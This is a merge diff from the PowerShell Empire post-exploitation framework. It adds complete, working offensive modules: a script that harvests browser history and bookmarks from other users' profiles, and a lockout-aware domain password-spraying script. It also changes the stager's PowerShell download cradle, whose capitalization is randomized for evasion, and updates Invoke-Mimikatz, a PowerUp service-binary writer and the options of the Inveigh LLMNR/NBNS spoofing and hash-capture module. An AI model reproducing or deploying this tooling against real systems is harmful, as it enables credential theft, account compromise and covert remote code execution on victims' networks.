Merge branch 'dev' of https://github.com/PowerShellEmpire/Empire into dev
commit
75f3e2c410
27
changelog
27
changelog
|
@ -1,3 +1,30 @@
|
|||
6/24/2016
|
||||
---------
|
||||
-Updated Invoke-Mimikatz to include a fix for multi-cpu boxes/processor detection
|
||||
-Merged @n0clues pull request to change paths from %TEMP% to %PUBLIC% for spawnas module to fix a bug when spawning as a different user.
|
||||
-Fixed a typo in the dcsync_hashdump that caused it to crash the Empire server
|
||||
-Merged in Inveigh 1.1.1 and current Tater build thanks to @Kevin-Robertson
|
||||
-Fixed a bug in the REST API due to the port being a string and not an int
|
||||
-Added 417 Expectation failed error bug fix for older proxies (Squid) thanks to @i223t
|
||||
|
||||
6/9/2016
|
||||
---------
|
||||
-Updated SQLite dll for Get-ChromeDump.ps1
|
||||
|
||||
5/27/2016
|
||||
---------
|
||||
-Fixed format issues with Get-ComputerDetails.ps1
|
||||
-More verbose output added to PowerUp's Invoke-ServiceCMD
|
||||
-Made Get-SPN PowerShell 2.0 compatible
|
||||
-Updated RunAs to include an argument parameter
|
||||
-Merged @tristandostaler's /api/map feature to the Rest API
|
||||
-Merged in @andrew-morris's installer update to include -Y switch for apt-get commands
|
||||
-Merged in MS16-032 local privesc from @leoloobeek
|
||||
|
||||
5/4/2016
|
||||
---------
|
||||
-Merged @jaredhaight's Invoke-MetasploitModule module
|
||||
|
||||
5/2/2016
|
||||
---------
|
||||
-tightened up argparse validation
|
||||
|
|
|
@ -0,0 +1,239 @@
|
|||
function Get-BrowserInformation {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Dumps Browser Information
|
||||
Author: @424f424f
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Enumerates browser history or bookmarks for a Chrome, Internet Explorer,
|
||||
and/or Firefox browsers on Windows machines.
|
||||
|
||||
.PARAMETER Browser
|
||||
|
||||
The type of browser to enumerate, 'Chrome', 'IE', 'Firefox' or 'All'
|
||||
|
||||
.PARAMETER Datatype
|
||||
|
||||
Type of data to enumerate, 'History' or 'Bookmarks'
|
||||
|
||||
.PARAMETER UserName
|
||||
|
||||
Specific username to search browser information for.
|
||||
|
||||
.PARAMETER Search
|
||||
|
||||
Term to search for
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-BrowserInformation
|
||||
|
||||
Enumerates browser information for all supported browsers for all current users.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-BrowserInformation -Browser IE -Datatype Bookmarks -UserName user1
|
||||
|
||||
Enumerates bookmarks for Internet Explorer for the user 'user1'.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-BrowserInformation -Browser All -Datatype History -UserName user1 -Search 'github'
|
||||
|
||||
Enumerates bookmarks for Internet Explorer for the user 'user1' and only returns
|
||||
results matching the search term 'github'.
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
Param
|
||||
(
|
||||
[Parameter(Position = 0)]
|
||||
[String[]]
|
||||
[ValidateSet('Chrome','IE','FireFox', 'All')]
|
||||
$Browser = 'All',
|
||||
|
||||
[Parameter(Position = 1)]
|
||||
[String[]]
|
||||
[ValidateSet('History','Bookmarks','All')]
|
||||
$DataType = 'All',
|
||||
|
||||
[Parameter(Position = 2)]
|
||||
[String]
|
||||
$UserName = '',
|
||||
|
||||
[Parameter(Position = 3)]
|
||||
[String]
|
||||
$Search = ''
|
||||
)
|
||||
|
||||
|
||||
|
||||
function ConvertFrom-Json20([object] $item){
|
||||
#http://stackoverflow.com/a/29689642
|
||||
Add-Type -AssemblyName System.Web.Extensions
|
||||
$ps_js = New-Object System.Web.Script.Serialization.JavaScriptSerializer
|
||||
return ,$ps_js.DeserializeObject($item)
|
||||
|
||||
}
|
||||
|
||||
function Get-ChromeHistory {
|
||||
$Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"
|
||||
if (-not (Test-Path -Path $Path)) {
|
||||
Write-Verbose "[!] Could not find Chrome History for username: $UserName"
|
||||
}
|
||||
$Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
|
||||
$Value = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History"|Select-String -AllMatches $regex |% {($_.Matches).Value} |Sort -Unique
|
||||
$Value | ForEach-Object {
|
||||
$Key = $_
|
||||
if ($Key -match $Search){
|
||||
New-Object -TypeName PSObject -Property @{
|
||||
User = $UserName
|
||||
Browser = 'Chrome'
|
||||
DataType = 'History'
|
||||
Data = $_
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Get-ChromeBookmarks {
|
||||
$Path = "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"
|
||||
if (-not (Test-Path -Path $Path)) {
|
||||
Write-Verbose "[!] Could not find FireFox Bookmarks for username: $UserName"
|
||||
} else {
|
||||
$Json = Get-Content $Path
|
||||
$Output = ConvertFrom-Json20($Json)
|
||||
$Jsonobject = $Output.roots.bookmark_bar.children
|
||||
$Jsonobject.url |Sort -Unique | ForEach-Object {
|
||||
if ($_ -match $Search) {
|
||||
New-Object -TypeName PSObject -Property @{
|
||||
User = $UserName
|
||||
Browser = 'Firefox'
|
||||
DataType = 'Bookmark'
|
||||
Data = $_
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Get-InternetExplorerHistory {
|
||||
#https://crucialsecurityblog.harris.com/2011/03/14/typedurls-part-1/
|
||||
|
||||
$Null = New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS
|
||||
$Paths = Get-ChildItem 'HKU:\' -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
|
||||
|
||||
ForEach($Path in $Paths) {
|
||||
|
||||
$User = ([System.Security.Principal.SecurityIdentifier] $Path.PSChildName).Translate( [System.Security.Principal.NTAccount]) | Select -ExpandProperty Value
|
||||
|
||||
$Path = $Path | Select-Object -ExpandProperty PSPath
|
||||
|
||||
$UserPath = "$Path\Software\Microsoft\Internet Explorer\TypedURLs"
|
||||
if (-not (Test-Path -Path $UserPath)) {
|
||||
Write-Verbose "[!] Could not find IE History for SID: $Path"
|
||||
}
|
||||
else {
|
||||
Get-Item -Path $UserPath -ErrorAction SilentlyContinue | ForEach-Object {
|
||||
$Key = $_
|
||||
$Key.GetValueNames() | ForEach-Object {
|
||||
$Value = $Key.GetValue($_)
|
||||
if ($Value -match $Search) {
|
||||
New-Object -TypeName PSObject -Property @{
|
||||
User = $UserName
|
||||
Browser = 'IE'
|
||||
DataType = 'History'
|
||||
Data = $Value
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Get-InternetExplorerBookmarks {
|
||||
$URLs = Get-ChildItem -Path "$Env:systemdrive\Users\" -Filter "*.url" -Recurse -ErrorAction SilentlyContinue
|
||||
ForEach ($URL in $URLs) {
|
||||
if ($URL.FullName -match 'Favorites') {
|
||||
$User = $URL.FullName.split('\')[2]
|
||||
Get-Content -Path $URL.FullName | ForEach-Object {
|
||||
try {
|
||||
if ($_.StartsWith('URL')) {
|
||||
# parse the .url body to extract the actual bookmark location
|
||||
$URL = $_.Substring($_.IndexOf('=') + 1)
|
||||
|
||||
if($URL -match $Search) {
|
||||
New-Object -TypeName PSObject -Property @{
|
||||
User = $User
|
||||
Browser = 'IE'
|
||||
DataType = 'Bookmark'
|
||||
Data = $URL
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "Error parsing url: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Get-FireFoxHistory {
|
||||
$Path = "$Env:systemdrive\Users\$UserName\AppData\Roaming\Mozilla\Firefox\Profiles\"
|
||||
if (-not (Test-Path -Path $Path)) {
|
||||
Write-Verbose "[!] Could not find FireFox History for username: $UserName"
|
||||
}
|
||||
else {
|
||||
$Profiles = Get-ChildItem -Path "$Path\*.default\" -ErrorAction SilentlyContinue
|
||||
$Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
|
||||
$Value = Get-Content $Profiles\places.sqlite | Select-String -Pattern $Regex -AllMatches |Select-Object -ExpandProperty Matches |Sort -Unique
|
||||
$Value.Value |ForEach-Object {
|
||||
if ($_ -match $Search) {
|
||||
ForEach-Object {
|
||||
New-Object -TypeName PSObject -Property @{
|
||||
User = $UserName
|
||||
Browser = 'Firefox'
|
||||
DataType = 'History'
|
||||
Data = $_
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!$UserName) {
|
||||
$UserName = "$ENV:USERNAME"
|
||||
}
|
||||
|
||||
if(($Browser -Contains 'All') -or ($Browser -Contains 'Chrome')) {
|
||||
if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) {
|
||||
Get-ChromeHistory
|
||||
}
|
||||
if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) {
|
||||
Get-ChromeBookmarks
|
||||
}
|
||||
}
|
||||
|
||||
if(($Browser -Contains 'All') -or ($Browser -Contains 'IE')) {
|
||||
if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) {
|
||||
Get-InternetExplorerHistory
|
||||
}
|
||||
if (($DataType -Contains 'All') -or ($DataType -Contains 'Bookmarks')) {
|
||||
Get-InternetExplorerBookmarks
|
||||
}
|
||||
}
|
||||
|
||||
if(($Browser -Contains 'All') -or ($Browser -Contains 'FireFox')) {
|
||||
if (($DataType -Contains 'All') -or ($DataType -Contains 'History')) {
|
||||
Get-FireFoxHistory
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -2586,8 +2586,25 @@ $RemoteScriptBlock = {
|
|||
#Load the PE reflectively
|
||||
Write-Verbose "Calling Invoke-MemoryLoadLibrary"
|
||||
|
||||
if (((Get-WmiObject -Class Win32_Processor).AddressWidth / 8) -ne [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
|
||||
try
|
||||
{
|
||||
$Processors = Get-WmiObject -Class Win32_Processor
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw ($_.Exception)
|
||||
}
|
||||
|
||||
if ($Processors -is [array])
|
||||
{
|
||||
$Processor = $Processors[0]
|
||||
} else {
|
||||
$Processor = $Processors
|
||||
}
|
||||
|
||||
if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) )
|
||||
{
|
||||
Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8))
|
||||
Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop
|
||||
}
|
||||
|
||||
|
@ -2741,4 +2758,3 @@ $results = Main;
|
|||
"Hostname: $HostName / $DomainSID";
|
||||
$results
|
||||
}
|
||||
|
||||
|
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -666,7 +666,7 @@ function Write-CMDServiceBinary {
|
|||
|
||||
try {
|
||||
# write the binary array out to the specified path
|
||||
Set-Content -Balue $Binary -Encoding Byte -Path $Path
|
||||
Set-Content -Value $Binary -Encoding Byte -Path $Path
|
||||
"[*] Binary for service '$ServiceName' with custom command '$CMD' written to '$Path'"
|
||||
}
|
||||
catch {
|
||||
|
|
|
@ -0,0 +1,270 @@
|
|||
function Invoke-SMBAutoBrute
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Performs smart brute forcing of accounts against the current domain, ensuring that
|
||||
lockouts do not occur.
|
||||
|
||||
Author: Jason Lang (@curi0usJack)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
Version: 1.0
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
This script takes either a list of users or, if not specified, will query the domain
|
||||
for a list of users on every brute attempt. The users queried will have a badPwdCount
|
||||
attribute of two less than the LockoutThreshold to ensure they are not locked in the brute
|
||||
attempt, with a new list being queried for every attempt. Designed to simply input the
|
||||
LockoutThreshold as well as a password list and then run. Note that each DC is queried
|
||||
for bad password count for each user for each brute, so this script is noisy.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
|
||||
|
||||
[*] Performing prereq checks.
|
||||
[*] PDC: LAB-2008-DC1.lab.com
|
||||
[*] Passwords to test: jennifer, yankees, 123456
|
||||
[*] Initiating brute. Unless -ShowVerbose was specified, only successes will show...
|
||||
[+] Success! Username: TestUser6. Password: jennifer
|
||||
[+] Success! Username: TestUser99. Password: yankees
|
||||
[*] Completed.
|
||||
|
||||
.PARAMETER UserList
|
||||
|
||||
A text file of userids (one per line) to brute. Do not append DOMAIN\ in front of the userid.
|
||||
If this parameter is not specified, the script will retrieve a new list of user accounts for
|
||||
each attempt to ensure accounts are not locked.
|
||||
|
||||
.PARAMETER PasswordList
|
||||
|
||||
A comma separated list of passwords to attempt.
|
||||
|
||||
.PARAMETER LockoutThreshold
|
||||
|
||||
The domain setting that specifies the number of bad login attempts before the account locks.
|
||||
To discover this, open a command prompt from a domain joined machine and run "net accounts".
|
||||
|
||||
.PARAMETER Delay
|
||||
|
||||
The delay time (in milliseconds) between each brute attempt. Default 100.
|
||||
|
||||
.PARAMETER ShowVerbose
|
||||
|
||||
Will display Failed as well as Skipped attempts. Generates a ton of data.
|
||||
|
||||
.PARAMETER StopOnSuccess
|
||||
|
||||
The script will exit after the first successful authentication.
|
||||
|
||||
#>
|
||||
[CmdletBinding()] Param(
|
||||
[Parameter(Mandatory = $False)]
|
||||
[String] $UserList,
|
||||
|
||||
[parameter(Mandatory = $True)]
|
||||
[String] $PasswordList,
|
||||
|
||||
[parameter(Mandatory = $True)]
|
||||
[String] $LockoutThreshold,
|
||||
|
||||
[parameter(Mandatory = $False)]
|
||||
[int] $Delay,
|
||||
|
||||
[parameter(Mandatory = $False)]
|
||||
[Switch] $ShowVerbose,
|
||||
|
||||
[parameter(Mandatory = $False)]
|
||||
[Switch] $StopOnSuccess
|
||||
)
|
||||
|
||||
Begin
|
||||
{
|
||||
Set-StrictMode -Version 2
|
||||
|
||||
Try {Add-Type -AssemblyName System.DirectoryServices.AccountManagement}
|
||||
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
|
||||
|
||||
Try {Add-Type -AssemblyName System.DirectoryServices}
|
||||
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
|
||||
|
||||
function Get-PDCe()
|
||||
{
|
||||
$context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain","lab.com")
|
||||
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($context)
|
||||
return $domain.pdcRoleOwner
|
||||
}
|
||||
|
||||
function Get-UserList($maxbadpwdcount)
|
||||
{
|
||||
$users = New-Object System.Collections.ArrayList
|
||||
$counttouse = $maxbadpwdcount - 2 # We have to use <= in our LDAP query. Use - 2 attempts to ensure the accounts are not locked with this attempt.
|
||||
$de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$pdc"
|
||||
$search = New-Object System.DirectoryServices.DirectorySearcher $de
|
||||
$search.Filter = "(&(objectclass=user)(badPwdCount<=$counttouse)(!userAccountControl:1.2.840.113556.1.4.803:=2))" #UAC = enabled accounts only
|
||||
$search.PageSize = 10
|
||||
$foundusers = $search.FindAll()
|
||||
if ($foundusers -ne $null)
|
||||
{
|
||||
foreach ($u in $foundusers)
|
||||
{
|
||||
$users.Add([string]$u.Properties['samaccountname']) | Out-Null
|
||||
}
|
||||
}
|
||||
return $users
|
||||
}
|
||||
|
||||
function Get-DomainControllers
|
||||
{
|
||||
$dcs = New-Object System.Collections.ArrayList
|
||||
$filter = "(&(objectclass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
|
||||
$de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$pdc"
|
||||
$search = New-Object System.DirectoryServices.DirectorySearcher $de
|
||||
$search.Filter = $filter
|
||||
$search.PropertiesToLoad.Add('CN') | Out-Null
|
||||
$results = $search.FindAll()
|
||||
foreach ($item in $results)
|
||||
{
|
||||
$dcs.Add($item.Properties['cn']) | Out-Null
|
||||
}
|
||||
$search = $null
|
||||
$de.Dispose()
|
||||
return $dcs
|
||||
}
|
||||
|
||||
function Get-DCBadPwdCount($userid, $dc)
|
||||
{
|
||||
$count = -1
|
||||
$de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$dc"
|
||||
$search = New-Object System.DirectoryServices.DirectorySearcher $de
|
||||
$search.Filter = "(&(objectclass=user)(samaccountname=$userid))"
|
||||
$search.PropertiestoLoad.Add('badPwdCount') | Out-Null
|
||||
$user = $search.FindOne()
|
||||
if ($user -ne $null)
|
||||
{
|
||||
$count = $user.Properties['badpwdcount']
|
||||
}
|
||||
$search = $null
|
||||
$de.Dispose()
|
||||
return $count
|
||||
}
|
||||
|
||||
function Get-UserBadPwdCount($userid, $dcs)
|
||||
{
|
||||
# The badPwdCount attribute is not replicated. Attempts should be reported back to the PDC,
|
||||
# but here get the greatest count from amongst all the DCs to guard against replication errors.
|
||||
$totalbadcount = -1
|
||||
foreach ($dc in $dcs)
|
||||
{
|
||||
$badcount = Get-DCBadPwdCount $userid $dc
|
||||
if ($badcount -gt $totalbadcount)
|
||||
{
|
||||
$totalbadcount = $badcount
|
||||
}
|
||||
}
|
||||
return $totalbadcount
|
||||
}
|
||||
}
|
||||
|
||||
Process
|
||||
{
|
||||
$validaccounts = @{}
|
||||
|
||||
$userstotest = $null
|
||||
"[*] Performing prereq checks.`n"
|
||||
if ([String]::IsNullOrEmpty($UserList) -eq $false)
|
||||
{
|
||||
if ([System.IO.File]::Exists($UserList) -eq $false)
|
||||
{
|
||||
"[!] $UserList not found. Aborting.`n"
|
||||
exit
|
||||
}
|
||||
else
|
||||
{
|
||||
$userstotest = Get-Content $UserList
|
||||
}
|
||||
}
|
||||
|
||||
$pdc = Get-PDCe
|
||||
|
||||
if ($pdc -eq $null)
|
||||
{
|
||||
"[!] Could not locate domain controller. Aborting.`n"
|
||||
exit
|
||||
}
|
||||
|
||||
"[*] PDC: $pdc`n"
|
||||
"[*] Passwords to test: $PasswordList`n"
|
||||
|
||||
$dcs = Get-DomainControllers
|
||||
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
|
||||
$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $pdc)
|
||||
|
||||
$pwds = New-Object System.Collections.ArrayList
|
||||
foreach ($pwd in $PasswordList.Split(','))
|
||||
{
|
||||
$pwds.Add($pwd.Trim(' ')) | Out-Null
|
||||
}
|
||||
|
||||
"[*] Initiating brute. Unless -ShowVerbose was specified, only successes will show...`n"
|
||||
foreach ($p in $pwds)
|
||||
{
|
||||
if ($userstotest -eq $null)
|
||||
{
|
||||
$userstotest = Get-UserList $LockoutThreshold
|
||||
}
|
||||
|
||||
foreach ($u in $userstotest)
|
||||
{
|
||||
$userid = $u.Trim(' ').Trim([Environment]::Newline)
|
||||
if ($validaccounts.ContainsKey($userid) -eq $false)
|
||||
{
|
||||
$attempts = Get-UserBadPwdCount $userid $dcs
|
||||
if ($attempts -ne -1 -and $attempts -lt ($LockoutThreshold - 1))
|
||||
{
|
||||
$IsValid = $false
|
||||
$IsValid = $PrincipalContext.ValidateCredentials($userid, $p).ToString()
|
||||
|
||||
if ($IsValid -eq $True)
|
||||
{
|
||||
"[+] Success! Username: $userid. Password: $p`n"
|
||||
$validaccounts.Add($userid, $p)
|
||||
if ($StopOnSuccess.IsPresent)
|
||||
{
|
||||
"[*] StopOnSuccess. Exit.`n"
|
||||
exit
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($ShowVerbose.IsPresent)
|
||||
{
|
||||
"[-] Failed. Username: $userid. Password: $p. BadPwdCount: $($attempts + 1)`n"
|
||||
}
|
||||
}
|
||||
|
||||
if ($Delay)
|
||||
{
|
||||
Start-Sleep -m $Delay
|
||||
}
|
||||
else
|
||||
{
|
||||
Start-Sleep -m 100
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($ShowVerbose.IsPresent)
|
||||
{
|
||||
"[-] Skipped. Username: $userid. Password: $p. BadPwdCount: $attempts`n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
"[*] Completed.`n"
|
||||
}
|
||||
}
|
2
empire
2
empire
|
@ -1182,7 +1182,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
|||
|
||||
# wrap the Flask connection in SSL and start it
|
||||
context = ('./data/empire.pem', './data/empire.pem')
|
||||
app.run(host='0.0.0.0', port=port, ssl_context=context, threaded=True)
|
||||
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -309,7 +309,8 @@ class Stagers:
|
|||
# get the launching URI
|
||||
URI = self.generate_launcher_uri(server, encode, pivotServer, hop)
|
||||
|
||||
stager = helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
|
||||
stager = helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue = 0;")
|
||||
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
|
||||
stager += "$u='"+userAgent+"';"
|
||||
|
||||
if "https" in URI:
|
||||
|
|
|
@ -0,0 +1,102 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-BrowserData',
|
||||
|
||||
'Author': ['@424f424f'],
|
||||
|
||||
'Description': ('Search through browser history or bookmarks'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
''
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Browser' : {
|
||||
'Description' : 'Which browser to dump data from. IE, Chrome, Firefox, All.',
|
||||
'Required' : False,
|
||||
'Value' : 'All'
|
||||
},
|
||||
'DataType' : {
|
||||
'Description' : 'Specify to search history or bookmarks. History, Bookmarks.',
|
||||
'Required' : False,
|
||||
'Value' : 'All'
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : 'Username on the host to search.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Search' : {
|
||||
'Description' : 'Specific a term to search for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-BrowserData.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = moduleCode
|
||||
|
||||
script += "\nGet-BrowserInformation "
|
||||
# add any arguments to the end execution of the script
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -14,13 +14,13 @@ class Module:
|
|||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
|
||||
'NeedsAdmin' : True,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/Kevin-Robertson/Inveigh'
|
||||
]
|
||||
|
@ -45,27 +45,27 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SpooferHostsReply' : {
|
||||
'SpooferHostsReply' : {
|
||||
'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SpooferHostsIgnore' : {
|
||||
'SpooferHostsIgnore' : {
|
||||
'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SpooferIPsReply' : {
|
||||
'SpooferIPsReply' : {
|
||||
'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SpooferIPsIgnore' : {
|
||||
'SpooferIPsIgnore' : {
|
||||
'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SpooferRepeat' : {
|
||||
'SpooferRepeat' : {
|
||||
'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).',
|
||||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
|
@ -75,7 +75,7 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'LLMNRTTL' : {
|
||||
'LLMNRTTL' : {
|
||||
'Description' : 'Custom LLMNR TTL in seconds for the response packet.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
|
@ -85,7 +85,7 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'NBNSTTL' : {
|
||||
'NBNSTTL' : {
|
||||
'Description' : 'Custom NBNS TTL in seconds for the response packet.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
|
@ -100,37 +100,42 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'HTTPAuth' : {
|
||||
'HTTPAuth' : {
|
||||
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
|
||||
'Required' : False,
|
||||
'Value' : 'NTLM'
|
||||
},
|
||||
'HTTPBasicRealm' : {
|
||||
'HTTPBasicRealm' : {
|
||||
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
|
||||
'Required' : False,
|
||||
'Value' : 'IIS'
|
||||
},
|
||||
'HTTPResponse' : {
|
||||
'HTTPResponse' : {
|
||||
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WPADAuth' : {
|
||||
'WPADAuth' : {
|
||||
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
|
||||
'Required' : False,
|
||||
'Value' : 'NTLM'
|
||||
},
|
||||
'WPADIP' : {
|
||||
'WPADEmptyFile' : {
|
||||
'Description' : 'Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests (Y/N).',
|
||||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'WPADIP' : {
|
||||
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WPADPort' : {
|
||||
'WPADPort' : {
|
||||
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WPADDirectHosts' : {
|
||||
'WPADDirectHosts' : {
|
||||
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
|
@ -150,6 +155,16 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : 'N'
|
||||
},
|
||||
'ConsoleStatus' : {
|
||||
'Description' : 'Interval in minutes for auto-displaying all unique captured hashes and credentials. (Y/N)',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ConsoleUnique' : {
|
||||
'Description' : 'Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
|
||||
'Required' : False,
|
||||
'Value' : 'Y'
|
||||
},
|
||||
'RunTime' : {
|
||||
